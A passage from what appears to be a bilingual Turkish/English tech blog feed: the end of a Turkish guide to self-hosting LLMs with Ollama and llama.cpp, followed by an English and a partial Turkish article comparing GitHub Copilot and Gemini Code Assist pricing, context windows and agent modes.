<span class="n">messages</span><span class="o">=</span><span class="p">[</span> <span class="p">{</span><span class="s1">'role'</span><span class="p">:</span> <span class="s1">'user'</span><span class="p">,</span> <span class="s1">'content'</span><span class="p">:</span> <span class="s1">'Fakt&ouml;riyel hesaplayan bir Python fonksiyonu yazar m&inodot;s&inodot;n?'</span><span class="p">}</span> <span class="p">]</span> <span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="p">[</span><span class="s1">'message'</span><span class="p">][</span><span class="s1">'content'</span><span class="p">])</span> </code></pre></div> <h3 id="openai-sdk-uyumlulugu">OpenAI SDK Uyumlulu&gbreve;u<a class="headerlink" href="#openai-sdk-uyumlulugu" title="Permanent link">#</a></h3> <p>Ollama arkada OpenAI API standartlar&inodot;na uyumlu bir u&ccedil; nokta sunar. B&ouml;ylece mevcut projelerinizde sadece adresi de&gbreve;i&scedil;tirerek yerel modele ge&ccedil;ebilirsiniz:</p> <div class="highlight"><pre><span></span><code><span class="kn">from</span><span class="w"> </span><span class="nn">openai</span><span class="w"> </span><span class="kn">import</span> <span class="n">OpenAI</span> <span class="n">client</span> <span class="o">=</span> <span class="n">OpenAI</span><span class="p">(</span> <span class="n">base_url</span><span class="o">=</span><span class="s2">"http://localhost:11434/v1"</span><span class="p">,</span> <span class="n">api_key</span><span class="o">=</span><span class="s2">"ollama"</span> <span class="c1"># Sahte bir anahtar yeterlidir</span> <span class="p">)</span> <span class="n">response</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="n">chat</span><span class="o">.</span><span class="n">completions</span><span class="o">.</span><span class="n">create</span><span class="p">(</span> <span class="n">model</span><span class="o">=</span><span class="s2">"llama3.2"</span><span class="p">,</span> <span class="n">messages</span><span class="o">=</span><span class="p">[{</span><span class="s2">"role"</span><span class="p">:</span> <span class="s2">"user"</span><span class="p">,</span> <span class="s2">"content"</span><span class="p">:</span> <span class="s2">"Selam!"</span><span class="p">}]</span> <span class="p">)</span> </code></pre></div> <hr/> <h2 id="llamacpp-kurulumu-maksimum-denetim_1">llama.cpp Kurulumu (Maksimum Denetim) ⚙️<a class="headerlink" href="#llamacpp-kurulumu-maksimum-denetim" title="Permanent link">#</a></h2> <p>Daha fazla kontrol ve performans istiyorsan&inodot;z, do&gbreve;rudan llama.cpp &uuml;zerinden devam edin.</p> <div class="highlight"><pre><span></span><code><span class="c1"># 1. Projeyi klonlay&inodot;n ve derleyin</span> $<span class="w"> </span>git<span class="w"> </span>clone<span class="w"> </span>https://github.com/ggerganov/llama.cpp $<span class="w"> </span><span class="nb">cd</span><span class="w"> </span>llama.cpp $<span class="w"> </span>make <span class="c1"># 2. Hugging Face &uuml;zerinden indirdi&gbreve;iniz GGUF modelini models/ klas&ouml;r&uuml;ne yerle&scedil;tirin.</span> <span class="c1"># 3. Belirli s&inodot;k&inodot;&scedil;t&inodot;rma ve haf&inodot;za ayarlar&inodot;yla &ccedil;al&inodot;&scedil;t&inodot;r&inodot;n</span> $<span class="w"> </span>./llama-cli<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-m<span class="w"> </span>models/llama-7b-q4_k_m.gguf<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-n<span class="w"> </span><span class="m">512</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>-c<span class="w"> </span><span class="m">4096</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--temp<span class="w"> </span><span class="m">0</span>.7 </code></pre></div> <h3 id="gguf-model-dosyalarn-nerede-buluruz">GGUF Model Dosyalar&inodot;n&inodot; Nerede Buluruz?<a class="headerlink" href="#gguf-model-dosyalarn-nerede-buluruz" title="Permanent link">#</a></h3> <p>Hugging Face &uuml;zerinde "GGUF" aramas&inodot; yap&inodot;p model boyutuna g&ouml;re filtreleyebilirsiniz. Pop&uuml;ler se&ccedil;enekler:</p> <ul> <li><strong>Qwen 2.5:</strong> Son d&ouml;nemin en yetenekli modellerinden, farkl&inodot; boyutlar&inodot; mevcut. (Yerelde Qwen tabanl&inodot; bir modeli kod asistan&inodot; olarak aya&gbreve;a kald&inodot;rmak isterseniz <a href="/qwen-3-6-27b-yerel-kod-modeli-kurulumu/">Qwen 3.6 Yerel Kod Modeli Kurulumu</a> rehberim size yard&inodot;mc&inodot; olacakt&inodot;r).</li> <li><strong>Llama 3.2:</strong> Meta'n&inodot;n resmi olarak sundu&gbreve;u hafif ve h&inodot;zl&inodot; modeller.</li> <li><strong>Phi-3:</strong> Microsoft'un k&uuml;&ccedil;&uuml;k ama i&scedil;levi b&uuml;y&uuml;k modelleri.</li> <li><strong>Mistral:</strong> Boyutuna g&ouml;re sundu&gbreve;u zeka dengesiyle me&scedil;hur.</li> </ul> <p>2026 y&inodot;l&inodot;nda yerel olarak ko&scedil;turabilece&gbreve;iniz en ba&scedil;ar&inodot;l&inodot; a&ccedil;&inodot;k kaynakl&inodot; modellerin detayl&inodot; zeka ve performans kar&scedil;&inodot;la&scedil;t&inodot;rmalar&inodot; i&ccedil;in <a href="/en-iyi-yerel-llm-modelleri-2026/">En &Idot;yi Yerel LLM Modelleri (2026)</a> incelememe bakabilirsiniz.</p> <hr/> <h2 id="kurulumu-ucuracak-performans-ipuclar_1">Kurulumu U&ccedil;uracak Performans &Idot;pu&ccedil;lar&inodot; 💡<a class="headerlink" href="#kurulumu-ucuracak-performans-ipuclar" title="Permanent link">#</a></h2> <ul> <li><strong>Ekran Kart&inodot; (GPU) Deste&gbreve;ini Aktif Etmek:</strong> Yapay zekay&inodot; ekran kart&inodot; (GPU) yerine sadece i&scedil;lemciyle (CPU) &ccedil;al&inodot;&scedil;t&inodot;rmaya zorlamak, spor arabay&inodot; el freni &ccedil;ekik &scedil;ekilde yoku&scedil; yukar&inodot; s&uuml;rmeye &ccedil;al&inodot;&scedil;mak gibidir.<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> llama.cpp kullan&inodot;yorsan&inodot;z, derleme yaparken CUDA deste&gbreve;ini mutlaka a&ccedil;&inodot;n: <code>bash $ make LLAMA_CUDA=1</code></li> <li><strong>Haf&inodot;za ve Ba&gbreve;lam Geni&scedil;li&gbreve;i (Context Length):</strong> Modeller varsay&inodot;lan olarak 4K (4096 token) haf&inodot;za limitiyle a&ccedil;&inodot;l&inodot;r. &Ccedil;o&gbreve;u ekran kart&inodot;nda bunu 8K veya 16K'ya &ccedil;ekebilirsiniz. Ancak 32K ve &uuml;zerine &ccedil;&inodot;kmak ciddi oranda VRAM t&uuml;ketecektir. <code>bash # Ollama &uuml;zerinde ba&gbreve;lam&inodot; 8K yapmak i&ccedil;in: $ ollama run llama3.2 -c 8192</code></li> <li><strong>Bir Seferde &Idot;&scedil;lenen Veri Adeti (Batch Size):</strong> Modelin girdi prompt'unu i&scedil;leme h&inodot;z&inodot;n&inodot; art&inodot;rmak i&ccedil;in bu de&gbreve;eri y&uuml;kseltebilirsiniz. E&gbreve;er ekran kart&inodot;n&inodot;zda yer varsa varsay&inodot;lan&inodot; 512'ye &ccedil;&inodot;karabilirsiniz. <code>bash $ ./llama-cli -b 512 -m model.gguf</code></li> </ul> <hr/> <h2 id="bulut-api-servisleri-vs-yerel-kurulum">Bulut API Servisleri vs. Yerel Kurulum<a class="headerlink" href="#bulut-api-servisleri-vs-yerel-kurulum" title="Permanent link">#</a></h2> <table> <thead> <tr> <th style="text-align: left;">Fakt&ouml;r</th> <th style="text-align: left;">Bulut API Servisleri</th> <th style="text-align: left;">Yerelde Bar&inodot;nd&inodot;rma</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>Kurulum S&uuml;resi</strong></td> <td style="text-align: left;">Birka&ccedil; dakika</td> <td style="text-align: left;">Birka&ccedil; saat</td> </tr> <tr> <td style="text-align: left;"><strong>D&uuml;&scedil;&uuml;k Kullan&inodot;mda Maliyet</strong></td> <td style="text-align: left;">Kulland&inodot;&gbreve;&inodot;n kadar &ouml;de</td> <td style="text-align: left;">Donan&inodot;m yat&inodot;r&inodot;m&inodot; gerektirir</td> </tr> <tr> <td style="text-align: left;"><strong>Yo&gbreve;un Kullan&inodot;mda Maliyet</strong></td> <td style="text-align: left;">Y&uuml;ksek ayl&inodot;k faturalar (yakla&scedil;&inodot;k 23.000 TL+)</td> <td style="text-align: left;">Yaln&inodot;zca elektrik faturas&inodot; (ayl&inodot;k yakla&scedil;&inodot;k 500 - 1.500 TL)<sup id="fnref:3"><a class="footnote-ref" href="#fn:3">3</a></sup></td> </tr> <tr> <td style="text-align: left;"><strong>Veri Gizlili&gbreve;i</strong></td> <td style="text-align: left;">Verileriniz buluttaki sunuculara gider</td> <td style="text-align: left;">%100 yerel ve gizli</td> </tr> <tr> <td style="text-align: left;"><strong>&Ouml;zelle&scedil;tirme Esnekli&gbreve;i</strong></td> <td style="text-align: left;">Sadece sunulan modellerle s&inodot;n&inodot;rl&inodot;</td> <td style="text-align: left;">&Idot;stedi&gbreve;iniz model, istedi&gbreve;iniz ince ayar</td> </tr> <tr> <td style="text-align: left;"><strong>Bak&inodot;m &amp; &Idot;&scedil;letim</strong></td> <td style="text-align: left;">Bak&inodot;m gerektirmez</td> <td style="text-align: left;">G&uuml;ncellemeler ve donan&inodot;m bak&inodot;m&inodot; gerekir</td> </tr> <tr> <td style="text-align: left;"><strong>Saf Zeka Seviyesi</strong></td> <td style="text-align: left;">En son &ccedil;&inodot;kan dev modeller</td> <td style="text-align: left;">Donan&inodot;m&inodot;n&inodot;z&inodot;n g&uuml;c&uuml;yle s&inodot;n&inodot;rl&inodot;</td> </tr> </tbody> </table> <hr/> <h2 id="populer-kurulum-receteleri">Pop&uuml;ler Kurulum Re&ccedil;eteleri 💡<a class="headerlink" href="#populer-kurulum-receteleri" title="Permanent link">#</a></h2> <ul> <li><strong>B&uuml;t&ccedil;e Dostu Kodlama Asistan&inodot;:</strong> RTX 3060 + Ollama + Llama 3.2 7B. Arka planda s&inodot;f&inodot;r g&uuml;r&uuml;lt&uuml;yle &ccedil;al&inodot;&scedil;&inodot;r, kodlama sorular&inodot;n&inodot;z&inodot; yan&inodot;tlar ve kodlar&inodot; g&ouml;zden ge&ccedil;irir.</li> <li><strong>Orta Segment Geli&scedil;tirici Makinesi:</strong> RTX 4090 + Ollama + Karma modeller. Zor i&scedil;ler i&ccedil;in 13B/14B, h&inodot;zl&inodot; sohbetler i&ccedil;in 7B. Yan&inodot;nda Stable Diffusion ile g&ouml;rsel &uuml;retimi de yapabilirsiniz.</li> <li><strong>Ev Sunucusu (Merakl&inodot;s&inodot;na):</strong> Threadripper &Idot;&scedil;lemci + &Ccedil;oklu RTX 4090 + vLLM. T&uuml;m ailenin veya k&uuml;&ccedil;&uuml;k bir yaz&inodot;l&inodot;m ekibinin ayn&inodot; anda kullanabilece&gbreve;i yerel yapay zeka sunucusu. Kendi yerel d&ouml;k&uuml;manlar&inodot;n&inodot;zla e&gbreve;itebilirsiniz.</li> </ul> <hr/> <h2 id="yerel-kuruluma-ne-zaman-gerek-yok">Yerel Kuruluma Ne Zaman Gerek Yok?<a class="headerlink" href="#yerel-kuruluma-ne-zaman-gerek-yok" title="Permanent link">#</a></h2> <p>E&gbreve;er her zaman d&uuml;nyan&inodot;n en zeki ve en g&uuml;ncel modellerini (GPT-4, Claude 3.5 Opus vb.) kullanmak zorundaysan&inodot;z bulut servislerinden &scedil;a&scedil;may&inodot;n. Ayda y&inodot;lda bir kez yapay zekaya soru soran biriyseniz yine API kullanmak daha hesapl&inodot;d&inodot;r. Teknik i&scedil;lerle u&gbreve;ra&scedil;maktan ho&scedil;lanm&inodot;yorsan&inodot;z kurulum s&uuml;re&ccedil;leri size yorucu gelebilir.</p> <hr/> <h2 id="guvenlik-onlemleri">G&uuml;venlik &Ouml;nlemleri 🔒<a class="headerlink" href="#guvenlik-onlemleri" title="Permanent link">#</a></h2> <p>Yerelde &ccedil;al&inodot;&scedil;mak verinizi d&inodot;&scedil;ar&inodot;ya kapat&inodot;r ama g&uuml;venli&gbreve;i elden b&inodot;rakmamak laz&inodot;m: 1. Kayna&gbreve;&inodot;n&inodot; bilmedi&gbreve;iniz, Hugging Face &uuml;zerinde kimin payla&scedil;t&inodot;&gbreve;&inodot; belirsiz model dosyalar&inodot;n&inodot; sisteminize indirmeyin. 2. &Ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;n&inodot;z aray&uuml;z yaz&inodot;l&inodot;mlar&inodot;n&inodot; d&uuml;zenli g&uuml;ncelleyin. 3. M&uuml;mk&uuml;nse yapay zeka sunucusunu evdeki di&gbreve;er kritik a&gbreve;lardan ve hassas sistemlerden izole edin.</p> <hr/> <h2 id="sadede-gelirsek">Sadede Gelirsek<a class="headerlink" href="#sadede-gelirsek" title="Permanent link">#</a></h2> <p>2026 y&inodot;l&inodot; itibar&inodot;yla yerel yapay zeka &ccedil;al&inodot;&scedil;t&inodot;rmak art&inodot;k sadece bir hobi de&gbreve;il, gizlilik ve b&uuml;t&ccedil;e y&ouml;netimi i&ccedil;in &ccedil;ok mant&inodot;kl&inodot; bir ad&inodot;m haline geldi. Ollama ile ba&scedil;lay&inodot;p sisteminizin s&inodot;n&inodot;rlar&inodot;n&inodot; g&ouml;rmek en mant&inodot;kl&inodot; yol olacakt&inodot;r dostum. 🚀</p> <p>G&uuml;n&uuml;n sonunda yerel modeller bulutun devasa i&scedil;lem g&uuml;c&uuml;n&uuml; tamamen yakalayamasa da, kendi kontrol&uuml;n&uuml;zde olan, internet kesilse bile t&inodot;k&inodot;r t&inodot;k&inodot;r &ccedil;al&inodot;&scedil;an bir yapay zekaya sahip olmak paha bi&ccedil;ilemez.</p> <p>Hadi kal&inodot;n sa&gbreve;l&inodot;cakla!</p> <hr/> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Yo&gbreve;un kullan&inodot;m senaryolar&inodot;nda, bulut sa&gbreve;lay&inodot;c&inodot;lara &ouml;denen para zamanla kendi donan&inodot;m&inodot;n&inodot;z&inodot; kurma maliyetini geride b&inodot;rak&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>Yapay zekay&inodot; ekran kart&inodot; (GPU) yerine sadece i&scedil;lemciyle (CPU) &ccedil;al&inodot;&scedil;t&inodot;rmaya zorlamak, spor arabay&inodot; el freni &ccedil;ekik &scedil;ekilde yoku&scedil; yukar&inodot; s&uuml;rmeye &ccedil;al&inodot;&scedil;mak gibidir.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> <li id="fn:3"> <p>T&uuml;rkiye'de ev tipi (mesken) elektrik fiyatlar&inodot; kademelidir. EPDK'n&inodot;n 2026 tarifelerine g&ouml;re, vergiler dahil 1 kWh elektrik maliyeti ortalama 3,24 TL ile 5,46 TL aras&inodot;nda de&gbreve;i&scedil;mektedir. G&uuml;nde ortalama 8 saat tam y&uuml;kte &ccedil;al&inodot;&scedil;an tek GPU'lu bir geli&scedil;tirici i&scedil; istasyonu ayl&inodot;k yakla&scedil;&inodot;k 120-150 kWh aras&inodot; t&uuml;ketim yapar ve faturaya yans&inodot;mas&inodot; bu aral&inodot;&gbreve;a denk gelir.&nbsp;<a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-04T21:00:00+03:002026-06-04T21:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-04:/en/gemini-code-assist-vs-github-copilot-2026/

<p>We compare GitHub Copilot and Google Gemini Code Assist, the two giants of the software world in 2026, across all dimensions. Details on prices, model quality, and context window.</p>

<p>Last night at my desk, with some light jazz music playing in the background, I was trying to clean up the code of one of our old Python projects. 💻 Looking at the spaghetti-like folder structure that had piled up over the years, my heart sank. I activated GitHub Copilot, which has been my right hand for years; but no matter what I did, I couldn't get it to grasp the entire project at once. Right at that moment, I decided to give Google Gemini Code Assist a shot, which had been sitting installed on my computer for a while. The feeling I had when I loaded the project into Gemini's famous, massive 1-million-token memory was something else. Let's lay this silent battle in the developer world on the table and see which one deserves your money, my friend. 🚀</p> <hr/> <h2 id="the-pricing-cards-are-dealt-who-wants-how-much">The Pricing Cards Are Dealt: Who Wants How Much? 💰<a class="headerlink" href="#the-pricing-cards-are-dealt-who-wants-how-much" title="Permanent link">#</a></h2> <p>When competition heated up in our neighborhood, both giants reshuffled the cards in their subscription packages.</p> <h3 id="github-copilot-plans-2026">GitHub Copilot Plans (2026)<a class="headerlink" href="#github-copilot-plans-2026" title="Permanent link">#</a></h3> <p>GitHub set the price for individual developers to $10 a month (around 460 TL), turning the field into a blazing fire. In a market where other options (like Cursor or Windsurf) demand $15-$20, this move made a huge splash. The current packages are as follows:</p> <ul> <li><strong>Free Version:</strong> Gives 2,000 code completions and 50 chats per month; ideal for those who don't play around with it much but want it as a backup. Offers access to models like Claude 3.5 Sonnet and GPT-4o.</li> <li><strong>Pro Version ($10 / Month - Around 460 TL):</strong> This is the package individual developers should choose directly. Unlimited code completions and chat, from Claude Sonnet to o1, it has everything you need. Plus, multi-file editing and terminal integration are included.</li> <li><strong>Pro+ Version ($20 / Month - Around 920 TL):</strong> In addition to the Pro plan, it grants 1,500 priority requests for the autonomous agent mode.</li> <li><strong>Business Version ($19 / User/Month - Around 870 TL):</strong> Adds management permissions, intellectual property protection, and content filters for companies.</li> <li><strong>Enterprise Version ($39 / User/Month - Around 1,790 TL):</strong> Features advanced options like connecting the company's internal documentation, generating PR summaries, and training models based on custom code patterns.</li> </ul> <h3 id="gemini-code-assist-plans-2026">Gemini Code Assist Plans (2026)<a class="headerlink" href="#gemini-code-assist-plans-2026" title="Permanent link">#</a></h3> <p>On Google's side, while the Standard package starts at $19, their free tier is seriously generous:</p> <ul> <li><strong>Individual Free Version:</strong> A whopping 6,000 code completions and 240 chats per day! You didn't hear it wrong, this is a daily limit, not monthly. Just this free version alone deserves to sit on the side of developer tools.</li> <li><strong>Standard Version ($19 / Month - Around 870 TL):</strong> Offers unlimited code completions and chat, Gemini 2.5 Pro and Flash models, Model Context Protocol (MCP) support<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>, and GitHub PR integration. (For details on utilizing the Model Context Protocol, you can also look into my guide on <a href="/en/qwen3-mcp-server-aktif-etme/">Qwen 3.6 MCP Server Activation</a>).</li> <li><strong>Enterprise Version ($45 / User/Month - Around 2,070 TL):</strong> Adds customization based on your private codebase, deep Google Cloud Platform (GCP) integrations (Firebase, BigQuery etc.), custom model fine-tuning, and security firewalls.</li> </ul> <hr/> <h2 id="memory-and-intelligence-clash-model-quality-and-context-difference_1">Memory and Intelligence Clash: Model Quality and Context Difference 🧠<a class="headerlink" href="#memory-and-intelligence-clash-model-quality-and-context-difference" title="Permanent link">#</a></h2> <p>To get to the point, money is the easy part. What really matters to us is which one serves as our right hand in the terminal.</p> <h3 id="copilots-model-flexibility">Copilot's Model Flexibility<a class="headerlink" href="#copilots-model-flexibility" title="Permanent link">#</a></h3> <p>Copilot's biggest plus is that you aren't locked into a single model. You can choose Claude 3.5 Sonnet for simple tasks, GPT-4o for general questions, and the OpenAI o1 model for complex algorithmic problems that need heavy reasoning with a single click. However, context management in large projects still lags behind its competitors. If you want to set up local alternatives instead of cloud services for coding, you can look into my <a href="/en/yerel-llm-kurulum-rehberi-2026/">Self-Hosted LLMs in 2026</a> guide, and you can check out my comparison on <a href="/en/en-iyi-yerel-llm-modelleri-2026/">Best Local LLM Models in 2026</a> for the best coding models to run locally.</p> <h3 id="geminis-1-million-token-advantage">Gemini's 1-Million-Token Advantage<a class="headerlink" href="#geminis-1-million-token-advantage" title="Permanent link">#</a></h3> <p>Gemini Code Assist's biggest card is its <strong>1-million-token context window</strong>. Trying to write code in a large project with a tiny context window is like trying to paint a room through a keyhole. Gemini, on the other hand, can take monorepos or legacy systems into its memory at once and interpret the relationships between files without losing anything. Also, thanks to its Next Edit Predictions structure, it acts very pro-actively while writing code.</p> <hr/> <h2 id="autonomous-agents-face-face-agent-mode_1">Autonomous Agents Face Face: Agent Mode 🤖<a class="headerlink" href="#autonomous-agents-face-face-agent-mode" title="Permanent link">#</a></h2> <p>It is 2026, and simple auto-completion doesn't cut it anymore; both assistants have agent modes that plan on their own in the background and run commands in the terminal.</p> <ul> <li><strong>GitHub Copilot Agent Mode:</strong> With a single command, it can analyze code, make changes across multiple files, and run tests in the terminal. It is very handy for small, well-defined bug fixes or refactoring tasks.</li> <li><strong>Gemini Agent Mode:</strong> Thanks to its massive 1-million-token memory, it makes fewer mistakes in multi-file changes. Also, because it can connect to external data sources, it is not limited to just your codebase. However, because Copilot's agent has been out in the wild longer, it feels a bit more practical in daily use.</li> </ul> <hr/> <h2 id="integration-and-ecosystem">Integration and Ecosystem ⚙️<a class="headerlink" href="#integration-and-ecosystem" title="Permanent link">#</a></h2> <p>In terms of editor support, Copilot's years of dominance still continue. It runs smoothly on VS Code, JetBrains, Neovim, Visual Studio, and Eclipse. Also, its integration with the GitHub platform makes processes like generating PR summaries or doing code reviews very successful. If you want to connect a local code model directly to your VS Code environment, my <a href="/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/">Local AI Setup Guide</a> will make your job much easier.</p> <p>Gemini hasn't officially spread anywhere else besides VS Code and JetBrains yet. However, it gets its strength from Google Cloud Platform (GCP) integration. If your project runs on Firebase, BigQuery, Cloud Run, or Apigee, Gemini can query your cloud infrastructure directly and generate code that fits best.</p> <hr/> <h2 id="performance-comparison-table">Performance Comparison Table<a class="headerlink" href="#performance-comparison-table" title="Permanent link">#</a></h2> <table> <thead> <tr> <th style="text-align: left;">Feature</th> <th style="text-align: left;">GitHub Copilot Pro</th> <th style="text-align: left;">Gemini Code Assist Standard</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>Individual Price</strong></td> <td style="text-align: left;">~$10 / Month (460 TL)</td> <td style="text-align: left;">~$19 / Month (870 TL)</td> </tr> <tr> <td style="text-align: left;"><strong>Free Version</strong></td> <td style="text-align: left;">2k completions / Month</td> <td style="text-align: left;">6k requests / Day</td> </tr> <tr> <td style="text-align: left;"><strong>Model Selection</strong></td> <td style="text-align: left;">Claude Sonnet, GPT-4o, o1</td> <td style="text-align: left;">Gemini 2.5 Pro / Flash</td> </tr> <tr> <td style="text-align: left;"><strong>Context Window</strong></td> <td style="text-align: left;">Indexing by project</td> <td style="text-align: left;">1 Million Tokens</td> </tr> <tr> <td style="text-align: left;"><strong>IDE Support</strong></td> <td style="text-align: left;">Very wide (including Neovim)</td> <td style="text-align: left;">VS Code and JetBrains</td> </tr> <tr> <td style="text-align: left;"><strong>Cloud Integration</strong></td> <td style="text-align: left;">None</td> <td style="text-align: left;">Deep Google Cloud Integration</td> </tr> <tr> <td style="text-align: left;"><strong>Intellectual Property Protection</strong></td> <td style="text-align: left;">Yes (Microsoft IP Indemnity)<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></td> <td style="text-align: left;">Only in Enterprise plan</td> </tr> </tbody> </table> <hr/> <h2 id="if-you-are-confused-which-one-should-you-choose">If You Are Confused: Which One Should You Choose?<a class="headerlink" href="#if-you-are-confused-which-one-should-you-choose" title="Permanent link">#</a></h2> <ol> <li><strong>Budget and Individual Use:</strong> If you want to access the best models (especially Claude 3.5 Sonnet) by paying only $10 a month, Copilot Pro is unmatched right now.</li> <li><strong>Large Codebases:</strong> If you are dealing with large projects consisting of monorepos or dozens of interdependent folders, Gemini's 1-million-token memory is a lifesaver.</li> <li><strong>Google Cloud Users:</strong> If your infrastructure is on Google Cloud, Gemini's integrations mean you don't need to look for another tool.</li> </ol> <p>Long story short, if your budget is tight or you aren't in the Google Cloud ecosystem, Copilot Pro at 460 TL (~$10) a month is the most sensible harbor right now, my friend. 🚀</p> <p>Stay safe!</p> <hr/> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Model Context Protocol (MCP) is an open-source standard that allows local or remote AI models to securely access local files, databases, or tools on your computer.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>IP Indemnity is a protection where Microsoft commits to legally protect its customer in case the generated code creates copyright infringement.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-04T21:00:00+03:002026-06-04T21:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-04:/gemini-code-assist-vs-github-copilot-2026/

<p>2026 yılında yazılım dünyasının iki devi olan GitHub Copilot ve Google Gemini Code Assist'i tüm yönleriyle karşılaştırıyoruz. Fiyatlar, model kalitesi ve bağlam penceresi gibi detaylar.</p>

<p>Ge&ccedil;en ak&scedil;am &ccedil;al&inodot;&scedil;ma masamda, arka planda hafif bir caz m&uuml;zik e&scedil;li&gbreve;inde bizim eski bir Python projesinin kodlar&inodot;n&inodot; temizlemeye &ccedil;al&inodot;&scedil;&inodot;yordum. 💻 Y&inodot;llar i&ccedil;inde birikmi&scedil;, spagettiye d&ouml;nm&uuml;&scedil; klas&ouml;r yap&inodot;s&inodot;na bakarken i&ccedil;im darald&inodot;. Y&inodot;llard&inodot;r sa&gbreve; kolum olan GitHub Copilot'u aktif ettim; ama ne yapt&inodot;ysam projenin tamam&inodot;n&inodot; tek seferde alg&inodot;lamas&inodot;n&inodot; sa&gbreve;layamad&inodot;m. Tam o anda, bir s&uuml;redir bilgisayar&inodot;mda y&uuml;kl&uuml; duran Google Gemini Code Assist'e bir &scedil;ans vermeye karar verdim. Projeyi Gemini'nin o me&scedil;hur 1 milyon tokenl&inodot;k devasa haf&inodot;zas&inodot;na y&uuml;kledi&gbreve;imde ya&scedil;ad&inodot;&gbreve;&inodot;m his bamba&scedil;kayd&inodot;. Geli&scedil;tirici d&uuml;nyas&inodot;ndaki bu sessiz sava&scedil;&inodot; ve hangisinin paran&inodot;z&inodot; hak etti&gbreve;ini derinlemesine masaya yat&inodot;ral&inodot;m dostum.</p> <hr/> <h2 id="fiyat-kartlar-aclyor-kim-ne-kadar-istiyor">Fiyat Kartlar&inodot; A&ccedil;&inodot;l&inodot;yor: Kim Ne Kadar &Idot;stiyor? 💰<a class="headerlink" href="#fiyat-kartlar-aclyor-kim-ne-kadar-istiyor" title="Permanent link">#</a></h2> <p>Bizim mahallede rekabet iyice k&inodot;z&inodot;&scedil;&inodot;nca, iki dev de abonelik paketlerinde kartlar&inodot;n&inodot; yeniden da&gbreve;&inodot;tt&inodot;. </p> <h3 id="github-copilot-planlar-2026">GitHub Copilot Planlar&inodot; (2026)<a class="headerlink" href="#github-copilot-planlar-2026" title="Permanent link">#</a></h3> <p>GitHub, bireysel tak&inodot;lan geli&scedil;tiriciler i&ccedil;in fiyat&inodot; ayl&inodot;k 10 dolara (yakla&scedil;&inodot;k 460 TL) &ccedil;ekip ortal&inodot;&gbreve;&inodot; resmen yang&inodot;n yerine &ccedil;evirdi. Di&gbreve;er alternatiflerin (Cursor veya Windsurf gibi) 15-20 dolar istedi&gbreve;i yerde bu hamle b&uuml;y&uuml;k ses getirdi. G&uuml;ncel paketler &scedil;u &scedil;ekilde:</p> <ul> <li><strong>&Uuml;cretsiz S&uuml;r&uuml;m (Free):</strong> Ayda 2.000 kod tamamlama ve 50 chat hakk&inodot; veriyor; hani &ccedil;ok kurcalamayan ama kenarda yedek olarak dursun diyenler i&ccedil;in ideal. Claude 3.5 Sonnet ve GPT-4o gibi modellere eri&scedil;im sunuyor.</li> <li><strong>Pro S&uuml;r&uuml;m (10 Dolar / Ay - Yakla&scedil;&inodot;k 460 TL):</strong> Bireysel geli&scedil;tiricilerin do&gbreve;rudan se&ccedil;mesi gereken paket bu. S&inodot;n&inodot;rs&inodot;z kod tamamlama ve chat, Claude Sonnet'ten o1'e kadar ne ararsan var. &Uuml;stelik &ccedil;oklu dosya d&uuml;zenleme ve terminal entegrasyonu da cabas&inodot;.</li> <li><strong>Pro+ S&uuml;r&uuml;m (20 Dolar / Ay - Yakla&scedil;&inodot;k 920 TL):</strong> Pro plan&inodot;na ek olarak otonom &ccedil;al&inodot;&scedil;an ajan modu i&ccedil;in 1.500 &ouml;ncelikli istek hakk&inodot; tan&inodot;yor.</li> <li><strong>Business S&uuml;r&uuml;m (19 Dolar / Kullan&inodot;c&inodot;/Ay - Yakla&scedil;&inodot;k 870 TL):</strong> &Scedil;irketler i&ccedil;in y&ouml;netim yetkileri, fikri m&uuml;lkiyet korumas&inodot; ve i&ccedil;erik filtreleri ekliyor.</li> <li><strong>Enterprise S&uuml;r&uuml;m (39 Dolar / Kullan&inodot;c&inodot;/Ay - Yakla&scedil;&inodot;k 1.790 TL):</strong> &Scedil;irketin kendi i&ccedil; d&ouml;k&uuml;mantasyonunu ba&gbreve;lama, PR &ouml;zetleri &ccedil;&inodot;karma ve &ouml;zel kod desenlerine g&ouml;re model e&gbreve;itme gibi ileri d&uuml;zey &ouml;zellikleri bar&inodot;nd&inodot;r&inodot;yor.</li> </ul> <h3 id="gemini-code-assist-planlar-2026">Gemini Code Assist Planlar&inodot; (2026)<a class="headerlink" href="#gemini-code-assist-planlar-2026" title="Permanent link">#</a></h3> <p>Google taraf&inodot;nda ise Standard paket 19 dolardan ba&scedil;lasa da, adamlar&inodot;n &uuml;cretsiz s&uuml;r&uuml;m&uuml; cidden &ccedil;ok c&ouml;mert:</p> <ul> <li><strong>Bireysel &Uuml;cretsiz S&uuml;r&uuml;m:</strong> G&uuml;nde tam 6.000 kod tamamlama ve 240 chat hakk&inodot;! Yanl&inodot;&scedil; duymad&inodot;n, ayl&inodot;k de&gbreve;il g&uuml;nl&uuml;k limit bu. S&inodot;rf bu &uuml;cretsiz 